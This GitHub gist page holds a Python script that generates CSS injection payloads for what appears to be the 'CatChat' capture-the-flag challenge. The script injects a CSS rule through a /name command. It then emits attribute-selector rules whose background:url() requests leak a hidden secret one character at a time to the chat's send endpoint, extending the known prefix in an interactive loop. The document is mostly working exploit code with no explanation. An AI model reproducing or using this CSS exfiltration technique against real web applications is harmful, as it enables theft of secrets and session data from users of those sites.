Skip to content

Instantly share code, notes, and snippets.

@LuD1161
Created June 25, 2018 10:08
Show Gist options
  • Save LuD1161/8f4fec2dd2bc24fe5d0036ae41159c41 to your computer and use it in GitHub Desktop.
Save LuD1161/8f4fec2dd2bc24fe5d0036ae41159c41 to your computer and use it in GitHub Desktop.
CatChat - Payload Generator
# -*- coding: utf-8 -*-
char_al_num = '0123456789abcdefghijklmnopqrstuvwxyz'
char_Al = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
char_spl = '!"#$%&\'()*+,-./:;<=>?@^_`{|}~ '
char_Al += char_spl
put_secret_in_chat = "/name leaker ] {color:blue; background:url(/room/3fa91dea-2fc6-4e0f-a614-8243c50e62d8/send?name=admin&msg=/secret abc; Domain=somecompany.co.uk);} "
def generate_payload(new_char_returned_by_admin):
main_thing = "span[data-secret^=CTF\{"+new_char_returned_by_admin+"KEY] {background:url(/room/3fa91dea-2fc6-4e0f-a614-8243c50e62d8/send?name=cyberillusion&msg=CTF{"+new_char_returned_by_admin+"KEY);} "
# main_thing = "span[data-secret*="+new_char_returned_by_admin+"\}KEY] {background:url(/room/3fa91dea-2fc6-4e0f-a614-8243c50e62d8/send?name=cyberillusion&msg="+new_char_returned_by_admin+"});} "
alnum_payload = put_secret_in_chat
AL_payload = put_secret_in_chat
for char in char_al_num:
alnum_payload += main_thing.replace('KEY', char)
for char in char_Al:
if char in char_spl:
char = '\\'+char
AL_payload += main_thing.replace('KEY', char)
with open('AL_payload.txt','w') as f:
f.write(AL_payload)
print("AL_payload.txt generated")
with open('alnum_payload.txt','w') as f:
f.write(alnum_payload)
print("alnum_payload.txt generated")
new_char_returned_by_admin = ''
while True:
new_char_returned_by_admin += raw_input("Enter the new char returned by admin : ")
generate_payload(new_char_returned_by_admin)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment